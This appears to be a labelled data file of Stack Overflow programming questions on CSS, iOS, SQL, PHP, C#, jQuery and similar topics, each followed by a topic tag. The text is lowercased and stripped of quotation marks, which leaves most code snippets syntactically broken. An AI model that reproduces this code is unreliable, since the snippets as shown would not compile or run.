css - responsive background images inside a div  take the following code:-    <strong>html:</strong>   <pre><code>&lt;div id= wrapper &gt; &lt;div id= nottingham-park &gt; &lt;/div&gt; </code></pre>   <strong>css:</strong>   <pre><code>#wrapper {   width: 100%;   height: auto; } #nottingham-park {     background: url(http://planetbounce.m360.co.uk/wp-content/themes/planetbounce/assets/img/nottingham-park.png);     background-size:100% auto;     background-repeat: no-repeat;     display: block;     //height: 700px; } </code></pre>   <a href= https://jsfiddle.net/mfyuf1yb/1/  rel= nofollow >fiddle</a>    if i don t set a height to <code>#nottingham-park</code>  the background image isn t visible  if i set a height  it s not responsive.    how can i display the image so it s always 100% width and auto height,css
ios: how to make nav title align left when back button is hidden  i ve followed this code to implement a title and subtitle in the navigation bar: <a href= https://stackoverflow.com/questions/2817181/iphone-title-and-subtitle-in-navigation-bar >iphone title and subtitle in navigation bar</a> which works really well.  however  i have a section where i ve hidden the back button by doing:   <pre><code>self.navigationitem.hidesbackbutton = yes; </code></pre>   and i d like the title to take up the extra room on the left where the button used to be.    is this possible,ios
how can i make a div cover the whole width of the page  but not altering the content inside   how can i make a div cover the whole width of the page  but not altering the content inside  i already tried   <pre><code>#maindiv{ margin-right:-100px; margin-left:-100px; } </code></pre>,css
can the ivar variable created automatically by properties accessible by the child class   i think so. _ivar is protected.    yet  i have to add these to child classes:   <pre><code>@synthesize strfullname = _strfullname; @synthesize strpictureurl = _strpictureurl; @synthesize strid = _strid; @synthesize strfirstname = _strfirstname; @synthesize strlastname = _strlastname; </code></pre>   otherwise my child classes do not have access to _strlastname  etc. why     the declaration on the super class is like these:   <pre><code>@interface bgtwitterorfacebookhandler : bgmotherofallhandler -(void) vrequestpermission; @property (nonatomic readonly) nsstring * strid; @property (nonatomic  readonly) nsstring * strfullname; @property (nonatomic readonly) nsstring * strpictureurl; @property (nonatomic readonly) nsstring * strfirstname; @property (nonatomic readonly) nsstring * strlastname; @property (nonatomic readonly) nsstring * strbirthday; @property (nonatomic readonly) nsstring * stremail; @property (nonatomic readonly) nsstring * strgender; @property (nonatomic) acaccountstore * acastore; @property (nonatomic) acaccount * acacount; +(bgtwitterorfacebookhandler *) singleton; -(void)logout; @end </code></pre>,objective-c
c++ overloading dereference operators  i m relatively new to c++  still trying to get a hang of the syntax. i ve been taking a look at a few operator overloading examples  most recently smart pointer implementations. here s a really generic example i m looking at:   <pre><code>template &lt; typename t &gt; class sp {     private:     t*    pdata; // generic pointer to be stored     public:     sp(t* pvalue) : pdata(pvalue)     {     }     ~sp()     {         delete pdata;     }      t&amp; operator* ()     {         return *pdata;     }      t* operator-&gt; ()     {         return pdata;     } }; </code></pre>   when overloading the dereference operator why is the type t&amp;  similarly  when overloading the structure dereference why is the type t*,c++
forcing postback on selection of a radio button  i know this is simple as cake but i ve been using asp.net controls for way too long.  i assume you have to do this via javascript with a regular xhtml input tag,html
mysql connect hang(remote connect)  hi when i try to connect remote mysql   <pre><code>mysql -u root -p xxxx -h xxxx -p 80 mysql: [warning] using a password on the command line interface can be insecure. </code></pre>   then i hang at here    does anyone knows how to slove this,mysql
php how do i copy from an array to another array restricting null or empty  so i have a large array with lots of options  all for cars  so mileage and sound and this and that now lets say my client doesnt provide a mileage  before i send this array to my function i wanna make sure each element is not empty  those who are not get placed in a new array that will get sented for sql insertion    here is my array:   <pre><code>array ( [year] =&gt; select [make] =&gt; buick [model] =&gt; [engine] =&gt; [mileage] =&gt; [price] =&gt; [vin] =&gt; [att1] =&gt; [att2] =&gt; [att3] =&gt; [att4] =&gt; [bodystyle] =&gt; [fuel] =&gt; [hp] =&gt; [cyl] =&gt; select [enginesize] =&gt; l [transmission] =&gt; [shifts] =&gt; [od] =&gt; [sound] =&gt; [gps] =&gt; [sound_system] =&gt; [sradio] =&gt; [tachometer] =&gt; [clock] =&gt; [trip] =&gt; [eweather] =&gt; [digitalboard] =&gt; [drive] =&gt; [fxf] =&gt; [cruisecontrol] =&gt; [tiltsteering] =&gt; [ac] =&gt; [removabletop] =&gt; [keyless] =&gt; [airbags] =&gt; [alloy] =&gt; [trunkantitrap] =&gt; [ewindows] =&gt; [emirrors] =&gt; [eseat] =&gt; [elocks] =&gt; [antitheft] =&gt; [ledheadlights] =&gt; ) </code></pre>   so how can i loop through this  if its not empty add it on a new array also an associative one gathering name and value    sorry im a bit confused,php
exc_bad_access only on device when allocating an object  i am getting exc_bad_access error at the line    <pre><code>gadrequest *request = [[gadrequest alloc] init]; </code></pre>   i don t have source code of gadrequest as its from google admob sdk. the stack trace is below. its happening only on device and not on simulator.   <pre><code>#0  0x34a80462 in objc_msgsend () #1  0x0017d9dc in +[gadrequest alloc] (self=&lt;value temporarily unavailable  due to optimizations&gt;  _cmd=&lt;value temporarily unavailable  due to optimizations&gt;) at /users/mikeying/work/ios_sdk_git/googlemac/iphone/googleads/nextgen/request/gadrequest.m:48 #2  0x0006e728 in -[adwhirladaptergoogleadmobads getad] (self=0x5511c0  _cmd=0x225209) at /users/xxx/yyy/libs/adwhirl/adapters/adwhirladaptergoogleadmobads.m:68 #3  0x0007b4f6 in -[adwhirlview makeadrequest:] (self=0x5538f0  _cmd=0x22691c  isfirstrequest=1  \001 ) at /users/xxx/yyy/libs/adwhirl/internal/adwhirlview.m:370 #4  0x0007ac5c in -[adwhirlview buildprioritizedadnetcfgsandmakerequest] (self=0x5538f0  _cmd=0x226965) at /users/xxx/yyy/libs/adwhirl/internal/adwhirlview.m:235 #5  0x35818bbe in -[nsobject(nsobject) performselector:withobject:] () </code></pre>,ios
create a c# method to generate auto increment id  i am new at programming and i am trying in vain to create a function that returns an auto increment id  however the code isn t working and i m sure there s something  missing even though i don t get what is it. here the code  it was meant to create a function that everytime is called it creates an auto increment id  as if it is on sql(a primary key):   <pre><code>class program {     static void main(string[] args)     {         string[] datainsert = new string[10];          for(int i = 0; i &lt; datainsert.length; i++)         {             datainsert[i] = convert.tostring(generateid());         }          for (int i = 0; i &lt; datainsert.length; i++)         {             console.writeline(datainsert[i]);         }          console.readkey();     }     static int generateid()     {         int id = 1;         return id += 1;     } } </code></pre>,c#
how to write a sql statement   i would like to know the sql statement to cover the following problem.i have some problem in here.   <pre><code>supplierid  contractstart   contractend           20          1/1/2010        1/3/2010 24          12/12/2008      12/1/2009 31          13/1/2008       13/2/2008 20          13/1/2008       13/2/2008 24          11/11/2007      11/12/2010 31          12/12/2008      1/1/2009 </code></pre>   please identify the supplier id that overlapping contract in this table.,sql
httpwebrequest without a response - is it ok   i d like to know if i can send an httpwebrequest without waiting for a response (using .net).    i am interested in sending information  but i don t care about the response.    do i have to wait for the response  or i m safe to just issue the request     i guess it s the same question as:    <a href= https://stackoverflow.com/questions/449506/how-to-send-http-request-in-asp-net-without-waiting-for-a-response-and-without-ty >how to send http request in asp.net without waiting for a response and without tying up resources</a>    thanks in advance.,.net
java clone() copy object to other class objects  i want to ask you how can i copy firstclass objects to secondclass objects     is this possible to figure it out by using clone()     the situation looks like this:    i have a class f.x. firstclass. and i need to clone firstclass objects to secondclass objects (and these cloned objects must be stored into array)    thanks    edited:    sorry for a little information. but my task looks like this:    write a garage class whose objects can hold up to some number of vehicle objects in an array. make garage a cloneable type  and write a proper clone method for it. write a garage.main method to test it.,java
using sql  i am trying to show the names of the constraints used over many tables  using sql  i am trying to show the names of the constraints used over many tables.     i tried using:   <pre><code>select constraint_name  constraint_type from user_constraints; </code></pre>   and i m not sure what i m looking at when the tables show up.     i know that if i add <code>where table_name = &lt;table name&gt;</code> that i can get the constraints for a single table  but i was wondering if there is syntax for more than one table,sql
loading all objects with class into an array using jquery  i have a bunch of div s on my page with class testclass.    i want to load them into an array and then check the array s size.    but its not working    <pre><code>myarray = $( testclass );  alert(myarray.count); </code></pre>   what s wrong,jquery
converting string of bytes to a byte array  having a hard time converting a string of bytes  23 200 237 15  into it s byte equivalent in .net.  tried several different ways and trying to stick with splits.  bitconverter seems way too inefficient for this.,.net
property not found on object type  i have a class that looks like the following.   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface jamtodoitem : nsobject    @property(nonatomic strong) nsstring *itemname; @property bool * completed; @property (readonly) nsdate * creactiondate; //-(void)markascompleted:(bool)iscomplete ondate:(nsdate*)date;  @end </code></pre>   jamtodoitem.m file     <pre><code>    // //  jamtodoitem.m //  todolist // //  created by juanabreu on 2/15/14. //  copyright (c) 2014 juanabreu. all rights reserved. //  #import  jamtodoitem.h    @interface jamtodoitem() //@property nsdate *completiondate;  @end    @implementation jamtodoitem   @end </code></pre>   i then try to access the propertys in this class like the following and im getting an error   <pre><code>    // //  jamtodolist.m //  todolist // //  created by juanabreu on 2/15/14. //  copyright (c) 2014 juanabreu. all rights reserved. //  #import  jamtodolist.h  #import  jamtodoitem.h     @interface jamtodolist () @property nsmutablearray *todoitems;  //@property(nonatomic strong) nsstring *itemname; @end  @implementation jamtodolist //@synthesize itemname;  -(ibaction)unwindtorootvc:(uistoryboardsegue *)segue {    }    - (id)initwithstyle:(uitableviewstyle)style {     self = [super initwithstyle:style];     if (self) {         // custom initialization     }     return self; }  - (void)viewdidload {     [super viewdidload];      //instatiate the array;     self.todoitems = [[nsmutablearray alloc]init];     [self loadinitialdata];      // uncomment the following line to preserve selection between presentations.     // self.clearsselectiononviewwillappear = no;      // uncomment the following line to display an edit button in the navigation bar for this view controller.     // self.navigationitem.rightbarbuttonitem = self.editbuttonitem; }   -(void)loadinitialdata{      jamtodoitem *theitem = [[jamtodoitem alloc]init];     theitem.itemname =@ buy milk ;  }      - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  #pragma mark - table view data source  - (nsinteger)numberofsectionsintableview:(uitableview *)tableview { #warning potentially incomplete method implementation.     // return the number of sections.     return 0; }  - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section { #warning incomplete method implementation.     // return the number of rows in the section.     return 0; }  - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     static nsstring *cellidentifier = @ cell ;     uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier forindexpath:indexpath];      // configure the cell...      return cell; }  /* // override to support conditional editing of the table view. - (bool)tableview:(uitableview *)tableview caneditrowatindexpath:(nsindexpath *)indexpath {     // return no if you do not want the specified item to be editable.     return yes; } */  /* // override to support editing the table view. - (void)tableview:(uitableview *)tableview commiteditingstyle:(uitableviewcelleditingstyle)editingstyle forrowatindexpath:(nsindexpath *)indexpath {     if (editingstyle == uitableviewcelleditingstyledelete) {         // delete the row from the data source         [tableview deleterowsatindexpaths:@[indexpath] withrowanimation:uitableviewrowanimationfade];     }        else if (editingstyle == uitableviewcelleditingstyleinsert) {         // create a new instance of the appropriate class  insert it into the array  and add a new row to the table view     }    } */  /* // override to support rearranging the table view. - (void)tableview:(uitableview *)tableview moverowatindexpath:(nsindexpath *)fromindexpath toindexpath:(nsindexpath *)toindexpath { } */  /* // override to support conditional rearranging of the table view. - (bool)tableview:(uitableview *)tableview canmoverowatindexpath:(nsindexpath *)indexpath {     // return no if you do not want the item to be re-orderable.     return yes; } */  /* #pragma mark - navigation  // in a story board-based application  you will often want to do a little preparation before navigation - (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender {     // get the new view controller using [segue destinationviewcontroller].     // pass the selected object to the new view controller. }   */  @end </code></pre>   note: loadinitialdata  is being implemented on a another class and im trying to instatiate jamtodoitem property. i m basically following the tutorial written by apple located <a href= https://developer.apple.com/library/ios/referencelibrary/gettingstarted/roadmapios/roadmapios.pdf  rel= nofollow >here</a>. at the top of my todolist class i do have the <code>#import  jamtodoitem.h </code> which is the class the contains the propertys im trying to set  and where im getting the error.     so the error i end up with    <pre><code>property  itemname  not found on object of type  jamtodoitem *  </code></pre>   what i m i missing,objective-c
how do i bubble sort a linked list   i am trying to create a linked list and sort it by bubble sort. i succeeded to create the linked list  but when i am trying to bubble sort it  some accidents occur and i do not know the problem. what is the problem    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  //the struct of linkedlist typedef struct node {     int data;     struct node * pnext; }node *pnode;  pnode createlist();//creat one linkedlist int lengthlist(pnode phead);//get the length of linkedlist void sortlist(pnode);//bubble sort  int main() {     int length;     pnode phead=null;     phead=createlist();     sortlist(phead);     return 0; } //create linkedlist pnode createlist() {     int i n;     int val;     pnode phead=(pnode)malloc(sizeof(node));     if(phead==null)     {         printf( failed to create!\n );         exit(-1);     }     phead-&gt;pnext=null;     pnode ptail=phead;     printf( please input the length of the linkedlist: );     scanf( %d  &amp;n);     for(i=0;i&lt;n;i++)     {         printf( number %d is:\n  i+1);         scanf( %d  &amp;val);         pnode pnew=(pnode)malloc(sizeof(node));         if(pnew==null)         {             printf( failed to create\n );             exit(-1);         }         pnew-&gt;data=val;         ptail-&gt;pnext=pnew;         pnew-&gt;pnext=null;         ptail=pnew;     }     return phead; } //get the length of linkedlist int lengthlist(pnode phead) {     int i=0;     pnode p=phead-&gt;pnext;     while(p!=null) {         i++;         p=p-&gt;pnext;     }     return i; } //bubble sort void sortlist(pnode phead) {     int i j t len;     pnode p q;     len=lengthlist(phead);     p=phead-&gt;pnext;     for(i=0;i&lt;len-1;i++)     {         for(j=0;j&lt;len-i;j++)         {             q=p-&gt;pnext;             if( p-&gt;data &gt; q-&gt;data)             {                 t=p-&gt;data;                 p-&gt;data=q-&gt;data;                 q-&gt;data=t;             }             p=q;//here may be the error         }     }     return; } </code></pre>,c
need to center widgets  i have tried: <a href= http://www.w3.org/style/examples/007/center.en.html  rel= nofollow >http://www.w3.org/style/examples/007/center.en.html</a>. i am a newbie and still learning. nothing works. even tried  to no avail. it stays to the left!    i am using cm4all and do the widgets manually in file manager with netfirms. they had me:     <ol> <li> log into the control panel with your account username and password. </li> <li> click on ‘filemanager’ under ‘website’. </li> <li> click on ‘settings’. </li> <li> check the checkbox ‘use richtext editor’. </li> </ol>   <strong>then:</strong>    i also called the number you instructed and they said:    centering big groups of content  or centering groups of one specific object on your site can be done with divs and css.     here are some hyperlinks to instructions/tutorials for common website operations like this.    they gave me three links but can t post the question with the links  says i need at least 10 reputation to post more than 2 links.    nothing i do will make it leave the left side!!,css
remove background image if browser height is larger than 1080px  i m trying to figure out how to remove the image if the browser height is larger than 1080 pixels.  for example android devices would have more than 1080 when the page loads and my image is loaded and it goes down to about 2/3 of the page and the rest of it is blank.  i would rather it be gone entirely.  how can i get rid of it.  here is how i am setting it:   <pre><code>body {   font-family: helvetica;   font-size: 1.8rem;   background-color: #000;   margin: 0 auto;   background-image: url( ../images/myimage.jpg );   background-repeat:no-repeat;   background-position:center top;   background-position:no-repeat;   background-attachment:fixed; } </code></pre>   what i tried   <pre><code>@media screen and (min-height: 1080px) {     body {         background-image: none;     } } @media device and (orientation: portrait) and (min-height: 1080px) {     body {         background-image: none;     } } </code></pre>,css
professionalise this code  i have been programming for about 3 years now and feel confident in my skills. but recently i began working alongside embedded systems and working on other peoples code and have begun to question how good my code is.     i see all these complex answers on so and think i would have done that with a vector and if statements and wonder if i am any more than a beginner as i was self taught and don t really know my level.       so i was wondering if more experienced programmers could show me ho to do things better.    this is code i wrote to for an rpg game to pick a target to attack. using it as an example could you show me better/more advanced/professional ways of doing it.   <pre><code>int findtarget(player &amp;player); {     int aimpoint[5] = 0;      for(int i  = 0; i &lt;= 5; i++)     {         if(player.team[i].exist == true)         {             // set random starting point between 1 - 3              aimpoint[i] = random /3;              // add a point if you hve an elemental advantage minus if not             if(player.team[i].type == weak)             {                 aimpoint += 1;             }             else if(player.team[i].type == strong)             {                 aimpoint -= 1;             }                  //add for front row minus for back             if(i == 1 || i== 3)             {                 aimpoint += 1;             }             else             {                 aimpoint -= 1;             }         }     }      return 0; } </code></pre>   edit: if you don t have the time or effort to show me examples i would appreciate a good book that a beginner/intermediate could understand.,c++
string is not in correct format c#  i am using the code below.   <pre><code>mysitescript = string.format( $mysitehosturl = \ {0}\ ;  $personalsiteglobaladmindisplayname = \ sharepoint admin\ ;  $mysite = get-spsite $mysitehosturl;  $context = [microsoft.office.server.servercontext]::getcontext($mysite);  $upm =  new-object microsoft.office.server.userprofiles.userprofilemanager($context);   $allprofiles = $upm.getenumerator();  foreach($profile in $allprofiles)  {     $displayname = $profile.displayname;      $accountname = $profile[[microsoft.office.server.userprofiles.propertyconstants]::accountname].value;        if($accountname -like \ {1}\ )      {          if($profile.personalsite -eq $null)          {              $profile.createpersonalsite();           }          else           {              write-host \ personal site already exists.\  ;           }      }      else      {          write-host \ user not found.\ ;       }   }  $mysite.dispose()   mysitehosturl  samaccountname); </code></pre>   getting an error: <strong>the string is not in correct format.</strong>    what is the problem what do you suggest,c#
assigning colors randomly to the table cells <pre><code>var colors = [ #129793    #000000    #ff6600    #ffcc00    #00ff00    #663399    #34dddd    #ff0080    #028482    #3399ff    magneta    crimson    fuschia    yellow orange    #5f021f    #333399    #ff1a00    #841f27    #990000 ];  function grid(rows  cols) {     var size = rows;     var opacity;      if (size &gt;= 10)         opacity = 0.9;     else         opacity = size / 10;      $( td ).css( background   colors[math.floor(math.random() * colors.length)]);      var table =  &lt;table id = \ mytable\ &gt; ;     var size = (1 / rows * 525) +  px ;      for (i = 0; i &lt; rows; i++) {         table +=  &lt;tr&gt; ;          for (j = 0; j &lt; cols; j++) {             //var id = i+   +j;             var id =  td_  + i +  _  + j;             var id2 = randomfunction(rows  cols);             //table +=  &lt;td id = \ id\  &gt; + &lt;/td&gt; ;             table +=  &lt;td id =    + id +   &gt;&amp;nbsp;&lt;/td&gt; ;         }          table +=  &lt;/tr&gt; ;     }      table +=  &lt;/table&gt; ;      $( #container ).empty().append(table);     $( td ).css( background   colors[math.floor(math.random() * colors.length)]);      document.getelementbyid(id2).style.opacity = opacity;     document.getelementbyid(id2).addeventlistener( click   function () {         grid(parseint(rows) + 1  parseint(cols) + 1);     }); } </code></pre>   this is the code written for assigning colors to the table cells generated randomly for kuku kube game. its working fine  but sometimes color is not being assigned to the cell by which i cannot go to next level. i need to refresh the page to play again. can i get solution for this,javascript
change check another radio option using jquery 1.7.x  i ve tried all methods to uncheck the first option of a radio button and check the last option  here is the html form    <a href= http://jsfiddle.net/n5adn/2/  rel= nofollow >http://jsfiddle.net/n5adn/2/</a>   <pre><code>$( #use_for_shipping_yes ).prop( checked   false); $( #use_for_shipping_store ).prop( checked   true); </code></pre>   i want to change to check the last option  how to do that,jquery
javascript programming if cycle with two conditionals  i m new in javascript. i need a help. this is a part from a course work and i have to display all dresses which have only one copy and only one size. when i the conditionals one by one they are working but when i try both of then together - nothing :d can some tell me how to make the if cycle with two conditions. this is what i tried  but the button doesn t work.    <pre><code>if (x[i].getelementsbytagname( number_of_copies )[0].innerhtml ==  1  &amp;&amp; x[i] getelementsbytagname( stylist ).length ==  1 ) {   table +=  &lt;tr&gt;&lt;td&gt;  +     x[i].getelementsbytagname( title )[0].childnodes[0].nodevalue +  &lt;/td&gt;&lt;td&gt; ;   table += x[i].getelementsbytagname( stylist )[0].childnodes[0].nodevalue +  &lt;/td&gt;&lt;td&gt; ;   table += x[i].getelementsbytagname( price )[0].childnodes[0].nodevalue +  &lt;/td&gt;&lt;/tr&gt; ; } </code></pre>,javascript
why does my ngroute not do anything   i m trying to set up an ngroute. i don t want to update the view  just perform some changes to the scope when the route is called. i have included angular-route.js and ngroute.   <pre><code>angular.module( todo   [ ngroute   ngstorage ]).     config(function($routeprovider){         $routeprovider.             when( /:state  {                 controller:  aspectcontroller              })     }).         controller( aspectcontroller   function($scope){         console.log( aspect );     }) </code></pre>   the expected outcome is that when i visit any page like index.html#/test i would like the console to write  aspect  but nothing happens  i don t get any errors or anything else.    full html:   <pre><code>&lt;!doctype html&gt; &lt;html class= no-js  xmlns:ng= http://angularjs.org  id= ng-app  ng-app= todo &gt;     &lt;head&gt;         &lt;meta charset= utf-8 &gt;         &lt;meta http-equiv= x-ua-compatible  content= ie=edge chrome=1 &gt;         &lt;title&gt;todo.txt&lt;/title&gt;         &lt;meta name= viewport  content= width=device-width &gt;          &lt;link rel= stylesheet  href= css/normalize.min.css &gt;         &lt;link rel= stylesheet  href= css/main.css &gt;         &lt;script src= bower_components/angular/angular.js &gt;&lt;/script&gt;         &lt;script src= bower_components/angular-route/angular-route.js &gt;&lt;/script&gt;         &lt;script src= bower_components/ngstorage/ngstorage.js &gt;&lt;/script&gt;          &lt;script src= js/main.js &gt;&lt;/script&gt;      &lt;/head&gt;     &lt;body ngview ng-controller= docontroller &gt;         &lt;ul class= aspects &gt;             &lt;li&gt;&lt;a href= #/do &gt;now&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #/deferred &gt;deferred&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #/completed  class= alt &gt;completed&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;         &lt;div class= checkboxes &gt;             &lt;div class= checkboxwrapper &gt;                 &lt;input ng-repeat= task in $store.taskarr track by $index  type= checkbox  /&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;textarea autoexpand class= tasks  ng-change= processtasks()  ng-model= $store.tasks &gt;&lt;/textarea&gt;      &lt;/body&gt; &lt;/html&gt; </code></pre>,angularjs
using mathematics in a switch statement case   so i ve slowly been learning javascript on code academy and i m curious if i can use a mathematical equation as an indicator for my case in a switch  i built this little if/else loop but wanted to know if i could have the same process under a switch statement.    if/else loop   <pre><code>    for (var i = 1; i &lt;= 20; i++){     if (i % 3 === 0 &amp;&amp; i % 5 === 0){         console.log( fizzbuzz );     }     else if (i % 3 === 0){         console.log( fizz );     }      else if (i % 5 === 0){         console.log( buzz );     }      else {     console.log(i);     } } </code></pre>   and this is the switch statement i crafted that i thought would work.   <pre><code>for (var i = 1; i &lt;= 20; i++){     switch (     case (i % 3 === 0 &amp;&amp; i % 5 === 0):         console.log( fizzbuzz )         break;     case (i % 3 === 0):         console.log( fizz )         break;     case (i % 5 === 0):         console.log( buzz )         break;     default:     console.log(i);   ) } </code></pre>,javascript
:symbol to constant in rails  is there a method in rails that converts a symbol to a constant   i want to be able to do something like   <pre><code>:monkey.to_constant #=&gt; monkey </code></pre>   at the moment i have to do    <pre><code>:monkey.to_s.camelize.constantize </code></pre>   which is a bit of a mouthful.,ruby-on-rails
how to align html divs in rows and columns like a matrix  i m trying to align 6 divs in this way:   <pre><code>1 2 3 4 5 6 </code></pre>   but i don t know how to do it  all divs are dimensioned by percentage   <pre><code>#folders { background: #1abc9c; height: 95%; width: 15%; } </code></pre>,css
show a datatable content in a single datagridview cell   supposing i have two datatables:    -in first datatable <code>orders</code>  i retrieve the list of my orders  like   <pre><code>---------------------------   order_id    order              --------- ---------------         1       order details      --------- ---------------         2       order details   --------- ---------------         3       order details   --------- ---------------      1       order details   --------- ---------------  </code></pre>   -in second datatable <code>order_details</code>  i retrieve the details of each order (like customer  order value  etc)   <pre><code>--------------------------------  order_id customer order_val ...      -------- -------- --------- ---   order_id   cust1   value11  ...      -------- -------- --------- ---   order_id   cust2   value21  ...      -------- -------- --------- ---       </code></pre>   my question: how far is it possible to create (like a thumbnail) of second datatable and insert in <code>datagridview</code> cell (i.e. to replace the words  order details  as shown in the table above) !   <pre><code>---------------------------  order_id    order           --------- ---------------      1       cust1 value11    --------- ---------------      2       cust2 value21    --------- ---------------  </code></pre>,c#
keep a state when parsing text  i m trying to make a program that looks for syntax and everytime it goes from state to state it needs to indicate that state. i m getting different output that i shouldn t have got.   <pre><code>using namespace cppfsm; #include &lt;vector&gt; #include &lt;iostream&gt;  using std::cin; using std::cout; using std::endl; using std::vector;  int cppfsm::updatestate(int&amp; state  char c) {     const int state1 = 1;     const int state2 = 2;      switch (state) {     case state1:         if (c ==  / )             cout &lt;&lt;  1  &lt;&lt; endl;             // do stuff; update state         else if (c ==    )             cout &lt;&lt;  1  &lt;&lt; endl;             // do something else; update state      case state2:         if (c ==  / )             cout &lt;&lt;  1  &lt;&lt; endl;             // do stuff; update state         else if (c ==    )             cout &lt;&lt;  1  &lt;&lt; endl;             // do something else; update state      }     return 0; }  void testfsm(string s) {     vector&lt;int&gt; stlist; // list of states.     int cstate = start;     for (unsigned long i = 0; i &lt; s.length(); i++) {         stlist.push_back(updatestate(cstate s[i]));     }     // push the last state:     stlist.push_back(cstate);     cout &lt;&lt; s &lt;&lt; endl;     for (unsigned long i = 0; i &lt; stlist.size(); i++) {         cout &lt;&lt; stlist[i];     }     cout &lt;&lt; endl; }  int main() {     // the finite state machine:     string input;     while(getline(cin input)) {         cout &lt;&lt;    ;         testfsm(input);     }     return 0; } </code></pre>   the output should be looking like this. the numbers are the states when going from 1 to another   <pre><code>$ echo  int x; // holds stuff  | ./fsm  int x; // holds stuff 0111010042222222222222 $ echo  cout &lt;&lt;  some string ;  | ./fsm  cout &lt;&lt;  some string ; 01111000033333333333300 $ echo  cout &lt;&lt;  \ escape\  chars are fun ;  | ./fsm  cout &lt;&lt;  \ escape\  chars are fun ; 011110000353333333533333333333333300 </code></pre>   but my output comes out to be all 0000......s. how do i fix this problem,c++
is there case for closed paragraphs tags <p/>  i m reading html paragraphs documentation here: <a href= http://www.w3schools.com/html/html_paragraphs.asp  rel= nofollow >http://www.w3schools.com/html/html_paragraphs.asp</a>    but there is nothing about <code>&lt;p/&gt;</code> usage    but i was trying it and it works as new line. is there difference between <code>p</code> and <code>br</code> in this case     if i can use <code>&lt;p/&gt;</code> as <code>&lt;br/&gt;</code> then why do i need <code>&lt;br/&gt;</code>,html
run the application on jail break iphone  i am developing one application.i am running the appliction in <code>xocde 4.4.1</code> and ios version is 4.1.and my iphone is jailbreak iphone.so if i run my application then i am getting the error like   <strong>xcode cannot run using the selected device</strong> .so please tell me what are the changes i can do to run my application in this device.,iphone
font-style:oblique not working in chrome  opera and safari  font-style oblique not working in chrome  opera and safari. but working in firefox and ie8. what is the solution plz    <pre><code>@font-face{     font-family:  tfc ; src: url( font/too_freakin_cute_demo-webfont.eot ); src: url( font/too_freakin_cute_demo-webfont.eot #iefix ) format( embedded-opentype )       url( font/too_freakin_cute_demo-webfont.woff2 ) format( woff2 )       url( font/too_freakin_cute_demo-webfont.woff ) format( woff )       url( font/too_freakin_cute_demo-webfont.ttf ) format( truetype )       url( font/too_freakin_cute_demo-webfont.svg#too_freakin_cute_demoregular ) format( svg );}  body p{ font-family:  tfc ; font-style:oblique;} </code></pre>,css
creating a undirected graph and traversing it using bfs in quickgraph  i m trying to figure out how to create a new instance of a undirected weighted graph using quickgraph for c#.  my goal is to create a undirected weighted graph populated with a random number of nodes and randomly generated start and finish nodes whose shortest path can found using breadth-first search algorithm.  there s not much to the documentation  so if anyone can provide any assistance that would be appreciated.,c#
what is system.activator.createinstance   what is system.activator.createinstance and when should i use it,.net
i am trying to use respondstoselector but unable to get expected output can anyone find what is wrong in my code  <pre><code>#import  movie.h  int main (int argc  const char * argv[]) {      nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];      // insert code here...     movie *obj = [[movie alloc]init];    [obj findinterestofnum1:(int)200 num2:(int)4 num3:(int)5];      sel suf = @selector(findinterestofnum1: num2:num3:);     bool sul = [obj respondstoselector:suf];      if(sul)     {         nslog(@ it is implememted );     }      else     {         nslog(@  it is not implemented );     }      nslog(@ hello  world! );      [pool drain];     return 0; } ********----- @interface movie : nsobject { @private  } -(void)findinterestofnum1:(int)p num2:(int)n num3:(int)r;  @end *******------- #import  movie.h    @implementation movie  -(void)findinterestofnum1:(int)p num2:(int)n num3:(int)r {   int a ;     a= (p*n*r/100);       nslog(@ interest value is =%d  a);  }     - (void)dealloc {     [super dealloc]; }  @end </code></pre>   i am trying to find whether method is implemented and if it is not it should print it is not implemented,objective-c
is there any way to select every element except one in .on() function  i am adding a function to all the future created elements of <code>&lt;div id= content &gt;</code>   <pre><code>&lt;div id= content &gt; &lt;h3 id= title &gt;tiltle&lt;/h3&gt; &lt;/div&gt; &lt;script&gt; $( #content ).on( click   *  function(){($(this).hide();}); &lt;/script&gt; </code></pre>   this works fine  but i don t want to bind this function to        <code>&lt;h3  id= title &gt;</code> i tried   <pre><code> &lt;div id= content &gt; &lt;h3 id= title &gt;tiltle&lt;/h3&gt; &lt;/div&gt; &lt;script&gt; $( #content ).on( click   *.not( #title )  function(){($(this).hide();}); &lt;/script&gt; </code></pre>   but this is not working    can anyone help me to find efficient solution,jquery
how to copy multiple row from a table and insert those to another table in mysql db with php  <pre><code>&lt; php     $conn = mysqli_connect( hostname   username   passwd   dbname );     $query =  select name mobileno from test ;     $result = mysqli_query($conn $query);      while($row = $result-&gt;fetch_array()) {         $name = $row[ name ];         $monileno = $row[ mobileno ];          $query2 =  insert into test2(name2 mobileno2) values( $name   $monileno ) ;         mysqli_query($conn $query2);        }  &gt; </code></pre>   create table <code>test</code> (   <code>id</code> int(9) auto_increment primary key     <code>name</code> varchar(128) not null    <code>mobileno</code> varchar(128) not null ) engine=innodb default charset=latin1;    insert into <code>test</code> (<code>id</code>  <code>name</code>  <code>mobileno</code>) values (1   omar faruq    01911775477 )  (2   omar al faruq    01911775477 )  (3   helal uddin    01914351075 );    create table <code>test2</code> (   <code>id</code> int(9) auto_increment primary key     <code>name</code> varchar(128) not null    <code>mobileno</code> varchar(128) not null ) engine=innodb default charset=latin1;    this code works on xampp/wamp but when i upload this script to rhel7.2 web server it does not works.,mysql
applying a rule once only child selector maybe  <pre><code>#maincontent .container{     background-image:url( /images/index_33.jpg );     background-repeat:no-repeat;     padding-left:85px;     margin-top:10px; } </code></pre>   how can only apply those rules to the first div with a class container,css
how to add session in navigate url  adding a book to the basket and clicking on view basket displays basket fine.<br> when clicking on the top right hand basket link the screen displays the basket as empty even though a book has been added,asp.net
